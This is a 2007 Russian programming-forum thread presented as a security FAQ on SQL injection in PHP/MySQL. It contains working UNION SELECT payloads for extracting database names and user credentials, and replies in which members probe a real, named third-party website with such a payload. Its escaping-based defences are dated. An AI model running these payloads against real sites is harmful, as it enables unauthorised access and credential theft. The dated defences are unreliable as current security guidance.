ФорумПрограммированиеПыхнуть хотите?F.A.Q. → Безопасность.Часть 1.SQL-иньекции

Безопасность.Часть 1.SQL-иньекции

  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 17 августа 2007 г. 19:17

    Здесь мы будем говорить исключительно о технике безопасности ваших проектов,чтобы хакеры не получили несанкционированного доступа к админпанели вашего проекта

    Я буду последовательно излагать характер уязвимости,её оценку(10-бальная шкала),способы её защиты,способы её применения

    1)
    Название : SQL-injection(SQL-иньекция)
    Оценка: 8 баллов
    Краткий обзор :
    Одна из самых распространенных уязвимостей в веб-приложениях,достигается путем внедрения собственного запроса в URL,реже в строки ввода,позволяет злоумышленнику заходить под чужим логином,получить доступ к базе данных проекта
    Описание,способы применения уязвимости:
    Вначале более подробно опишу уязвимость.
    К примеру вам дан URL типа cage.hacker.com/index.php?id=3
    Как же узнать подлежит он уязвимости или нет?Есть несколько способов
    1)Самый простой(также самый непопулярный,т.к. проходит только на сайтах ламаков)
    Пишите в URL следующую строку
    cage.hacker.com/index.php?id=2+1
    Если открылась та же самая страница,значит сайт подвержен уязвимости с вероятностью гибели человека при
    попадании на поверхность солнца
    2)Элементарно вставляете знак одинарной кавычки "'" ,если в браузере вышло сообщение о некорректности MySQL
    запроса,то уязвимость существует.
    Важно: Отсутствие ошибки еще не говорит об отсутствии уязвимости
    Замечание: Иногда уязвимость проверяется и с помощью двойной кавычки
    Пример к замечанию: Провайдер(имя которого не говорю,чтобы не обвинили
    в "рекламе"),обеспечивал как обычно заполнение часов через свой сайт.Заходя на него,можно было в поле ввода
    логина набрав vasa_c"#,а в поле ввода пароля любые символы получить доступ к аккаунту,а также возможность
    поменять пароль тем же способом!
    3)Не очень его люблю за его обыденность и тупость,но не привести не могу
    cage.hacker.com/index.php?id=2' or 1=1
    Если откроется та же страница значит вероятность уязвимости есть
    Замечание: Я говорю вероятность,т.к. здесь не последнюю роль играет парсинг входных данных
    Остальные приемы проводятся с использований этих базисных решений
    Приведем некоторые из этих приемов
    Пусть к примеру дан URL cage.hacker.ru/news.php?id=3,ясно что на страницу выводится новость,имеющая id=3.
    Как правило имеется таблица,содержащая имя новости,контент,заголовок и т.д.Обычно выборка проходит по следуюшему сценарию

    mysql_query("select * from news where id='".$_GET['id']."'");

    Предположим,что существует уязвимость,т.е. параметр $_GET['id'] вставляется в запрос без соответствующей обработки,значит,написав вместо id=3 id=3' union select 1/* мы получим запрос,в котором объединены 2 запроса,т.е. MySQL запрос будет выглядеть следующим образом

    select * from news where id='3' union select 1/*'

    Врядли у вас сходу получится составить правильный запрос,т.к. число символических единиц должно совпадать с количеством выбираемых полей,в данном случае с количеством столбцов в таблице новостей.Поэтому самый верный способ - это прямой перебор(врядли количество столбцов будет сумасшедшим).К примеру их количество 5,поэтому пишем в URL следующее
    cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1/*
    В итоге на странице новостей вместо ошибки MySQL должна выйти либо новость без ошибки,либо 5 единиц(может и меньше,в зависимости от того как обрабатываются данные из БД).Что же делать,если вышли не единицы(а это важно),а сама новость?Положа руку на сердце скажу,что этого ни в одной документации еще не нашел.Запрос в URL составляем следующим образом
    cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1 order by 1/*
    Если же и сейчас выйдет новость вместо единиц,измените надпись добавив DESC
    cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1 order by 1 DESC/*

    Теперь у вас на странице новости вместо новости,ее заголовка и остальной информации выходят единицы.
    Заменяем одну из единиц на запись

    cage.ahacker.ru/news.php?id=3' union select 1,database(),1,1,1 order by 1 DESC/*
    И у вас на странице выйдет название базы данных,далее,поставив запрос
    cage.ahacker.ru/news.php?id=3' union select 1,database(),user(),1,1 order by 1 DESC/*
    у вас выйдет еще и пользователь базы данных
    К примеру,написав
    cage.ahacker.ru/news.php?id=3' union select 1,login,password,1,1 from users order by 1 DESC/*
    вы получите список пльзователей и паролей данного сайта,где login - столбец с именами,password - столбец
    с паролями(хешами),users - таблица,хранящая эту информацию

    Меры защиты
    Меры защиты против SQL-иньекций в основном упираются на функцию addslashes()
    Создаем утилиту,через которую будут проходить все наши данные,инициализировать будете там где вы уже решите

    class cUtils
    {

    function FromPost($name)
    {
    global $_POST;
    return $this->ClearStr($_POST[$name]);
    }

    function FromGet($name)
    {
    global $_GET;
    return $this->ClearStr($_GET[$name]);
    }

    function FromSess($name)
    {
    global $_SESSION;
    return $this->ClearStr($_SESSION[$name]);

    }
    function FromFile($name,$type)
    {
    global $_FILES;
    return $_FILES[$name][$type];

    }
    function FromCookie($name)
    {
    global $_COOKIE;
    return $this->ClearStr($_COOKIE[$name]);

    }
    function ClearStr($str)
    {
    if(!get_magic_quotes_gpc())
    $str=addslashes($str);

    return trim($str);
    }
    }



    Обратим внимание на функцию ClearStr($str),дело в том,что мы не имеем права писать просто addslashes(),потому что в зависимости от настроек на хостинге,наша функция может просто-напросто экранировать экранированные переменные,что опять приведет нас к исходному состоянию!

    Таким образом,инициализировав объект небольшого класса,вы можете обрабатывать данные через его методы
    Обработку данных можно осуществить и с помощью регулярных выражений,но тем не менее я настаиваю на жесткой обработке,если можно так выразиться.
    to be continued…(смотри следующий пост)
  • Argnist

    Сообщения: 130 Репутация: N Группа: Кто попало

    Spritz 18 августа 2007 г. 8:12, спустя 12 часов 55 минут

    Ничо не понял но за труд +

    В последнем примере, зачем эти единички то?
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz 18 августа 2007 г. 18:44, спустя 10 часов 31 минуту 7 секунд

    1)Самый простой(также самый непопулярный,т.к. проходит только на сайтах ламаков)
    Пишите в URL следующую строку
    cage.hacker.com/index.php?id=2+1
    Если открылась та же самая страница,значит сайт подвержен уязвимости с вероятностью гибели человека при
    попадании на поверхность солнца


    Бред… а какже парсинг вводимых данных? разбор по регулярному выражению if(preg_match(\'|^([0-9]{1})(.*)|is\', $_GET[\'id\'], $pack)) print($pack[1]);

    Вопросец, символ '+' аналогичен пробелу в адресной строке (GET строке), так почему не " cage.hacker.com/index.php?id=2 1"
    Ну а если автор хотел именно плюс, то %2B подойдет куда лучше….
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz 18 августа 2007 г. 18:52, спустя 8 минут 9 секунд

    Пусть к примеру дан URL cage.hacker.ru/news.php?id=3,ясно что на страницу выводится новость,имеющая id=3.
    Как правило имеется таблица,содержащая имя новости,контент,заголовок и т.д.Обычно выборка проходит по следуюшему сценарию
    php-код:

    mysql_query("select * from news where id='".$_GET['id']."'");


    Обычно парсются вводимые данные… каким же надо быть лохопровайдером чтобы не парсить вводимые данные… (я про прова о котором Вы говорили)

    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz 18 августа 2007 г. 18:55, спустя 3 минуты 33 секунды

    Но вобщем статья понравилась, Вы хорошо разбираетесь в sql-иньекции! Спасибо!

    также можно использовать null для сверки количества полей
    cage.ahacker.ru/news.php?id=3' union select null,null,null,null,null/*
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 8:30, спустя 1 день 13 часов 35 минут


    Ничо не понял но за труд +

    В последнем примере, зачем эти единички то?

    Что именно не поняли напишите,я исправлю
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 8:33, спустя 2 минуты 27 секунд


    1)Самый простой(также самый непопулярный,т.к. проходит только на сайтах ламаков)
    Пишите в URL следующую строку
    cage.hacker.com/index.php?id=2+1
    Если открылась та же самая страница,значит сайт подвержен уязвимости с вероятностью гибели человека при
    попадании на поверхность солнца


    Бред… а какже парсинг вводимых данных? разбор по регулярному выражению if(preg_match(\'|^([0-9]{1})(.*)|is\', $_GET[\'id\'], $pack)) print($pack[1]);

    Вопросец, символ '+' аналогичен пробелу в адресной строке (GET строке), так почему не " cage.hacker.com/index.php?id=2 1"
    Ну а если автор хотел именно плюс, то %2B подойдет куда лучше….

    Я же написал,что проходит при определенном парсинге
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 8:34, спустя 42 секунды


    Пусть к примеру дан URL cage.hacker.ru/news.php?id=3,ясно что на страницу выводится новость,имеющая id=3.
    Как правило имеется таблица,содержащая имя новости,контент,заголовок и т.д.Обычно выборка проходит по следуюшему сценарию
    php-код:

    mysql_query("select * from news where id='".$_GET['id']."'");


    Обычно парсются вводимые данные… каким же надо быть лохопровайдером чтобы не парсить вводимые данные… (я про прова о котором Вы говорили)



    Поверь мне,бывают,и большинство иньекций проходит именно так
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 8:35, спустя 1 минуту 5 секунд


    Но вобщем статья понравилась, Вы хорошо разбираетесь в sql-иньекции! Спасибо!

    также можно использовать null для сверки количества полей
    cage.ahacker.ru/news.php?id=3' union select null,null,null,null,null/*



    Господа!!!Это пока не полная статья,поймите,я не собираюсь излагать приемы хакеров,я акцентирую ваше внимание на безопасности!
  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 20 августа 2007 г. 15:51, спустя 7 часов 16 минут 44 секунды

    статья +1
    я не собираюсь излагать приемы хакеров

    а вот это зря, было бы интересно и полезно.
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz 20 августа 2007 г. 21:18, спустя 5 часов 26 минут 17 секунд

    За первую статью плюс в карму!

    magic_quotes_gpc ИМХО вообще лучше не использовать…

    А как отключить?

    тело файла .htaccess (файл дополнительной конфигурации сервера Apache)
    php_flag magic_quotes_gpc 0
    php_flag magic_quotes_runtime 0
    php_flag magic_quotes_sybase 0
    #думаю следующую строку стоит добавить тоже!
    php_flag register_globals off
    #Начиная с версии PHP 4.2.0, значением по умолчанию для этой директивы является off.


    PHP: Описание встроенных директив php.ini - Manual
    http://ru.wikipedia.org/wiki/Htaccess

    А зачем отключать?

    Цитата phpfaq.ru

    По многим причинам. Самая очевидная - логическая. "Волшебные кавычки" добавляют слеши не там, где они нужны - при составлении запроса, а еще до попадания в скрипт! Но ведь данные совсем не обязательно после этого будут вставляться в запрос. Может быть, их придётся выводить пользователю, и слеши будут только мешать. Плюс к тому, добавленные слеши помешают, к примеру, правильно проверить длину введённой строки. К тому же, прослешивать нам надо не только пришедшие от пользователя данные, а вообще любые, вставляемые в запрос - многим этот очевидный факт даже не приходил в голову! Список можно продолжать, но вывод один: добавлять слеши надо не автоматом, без разбору, до начала выполнения скрипта, а только там, где действительно надо – при составлении запроса.
    Есть и ещё одна причина: при использовании кодировки Unicode, которая приобретает всё большую популярность, а со временем займёт доминирующее положение в веб, волшебные кавычки могут попросту испортить текст, приняв часть мультибайтной строки за спецсимвол.


    Цитата phpfaq.ru
    Среди причин, по которым не стоит полагаться на \"волшебные кавычки\", есть ещё одна. Весьма маловероятная, но всё же. К \"волшебным кавычкам\" относится на самом деле не две директивы, а три. Третья - magic_quotes_sybase. Мало того, что она вместо слеша добавляет кавычку - так она ещё и отменяет действие magic_quotes_gpc. Если каким-то чудом обе эти директивы имеют статус \'on\', то последняя не сработает! То есть, полагаясь на \"волшебные кавычки\", мы в этом случае получим все прелести неправильно составленных запросов. Вообще, чисто теоретически, надо учитывать наличие этой директивы, поскольку она преподносит ещё и такой сюрприз, как… изменение поведения функций addslashes и stripslashes! Если magic_quotes_sybase = on, то эти функции начинают вместо слеша добавлять и удалять одинарную кавычку соответственно.


    Для запросов в БД MySQL стоит использовать mysql_real_escape_string():

    $name=mysql_real_escape_string($name);

    Следует помнить, что применять её можно только после установления соединения с базой.

    Почему именно эта функция?
    Снова цитата с phpfaq.ru

    Эта функция делает гораздо больше, чем устаревшие addslashes и mysql_escape_string. Во-первых, она облегчает ведение и чтение логов mysql, заменяя, например, символ перевода строки на "\n" и некоторые другие символы на escape-последовательности. Во-вторых, и самое главное - она корректно работает с многобайтными кодировками, принимая во внимание текущую кодировку MySQL и не портит, таким образом, тексты в кодировке Unicode.


    Пример:

    $name=mysql_real_escape_string($name);
    $age=mysql_real_escape_string($age);
    $query="INSERT INTO table (name,age,class) VALUES ('$name','$age',11)";


    Более подробнее о "Волшебных кавычках" на сайте phpfaq.ru
    Если интересна тема SQL иньекций, можете прочитать несколько статеек на эту тему
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 20 августа 2007 г. 21:22, спустя 4 минуты 34 секунды

    полностью с тобой согласен,если хостер разрешает такие директивы ,пишите наздоровье
  • pasha

    Сообщения: 1048 Репутация: N Группа: Адекваты

    Spritz 24 августа 2007 г. 21:49, спустя 4 дня 26 минут

    ЗЫ…вот этот посмотрите =) [url=http://www.rollerclub.ru/agressive/order/index.php?id=70']rollerclub.ru[/url]
  • adw0rd

    Сообщения: 22959 Репутация: N Группа: в ухо

    Spritz 25 августа 2007 г. 1:09, спустя 3 часа 20 минут 2 секунды

    http://www.rollerclub.ru/agressive/order/index.php?id=70+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null/*

    Паша теперь нормально заходит :)
    https://smappi.org/ - платформа по созданию API на все случаи жизни
  • sap

    Сообщения: 2701 Репутация: N Группа: Кто попало

    Spritz 13 сентября 2007 г. 13:11, спустя 19 дней 12 часов 2 минуты

    А SQL-inj возможно только через SELECT или через другие запросы тоже? Я имею в виду с пользой. Понятно, что, например, через запрос DELETE при наличии уязвимости можно всю базу грохнуть, но это же ничего взломщику, в принципе, не даст. А с пользой применить иньекцию в запросе INSERT или UPDATE возможно?

Пожалуйста, авторизуйтесь, чтобы написать комментарий!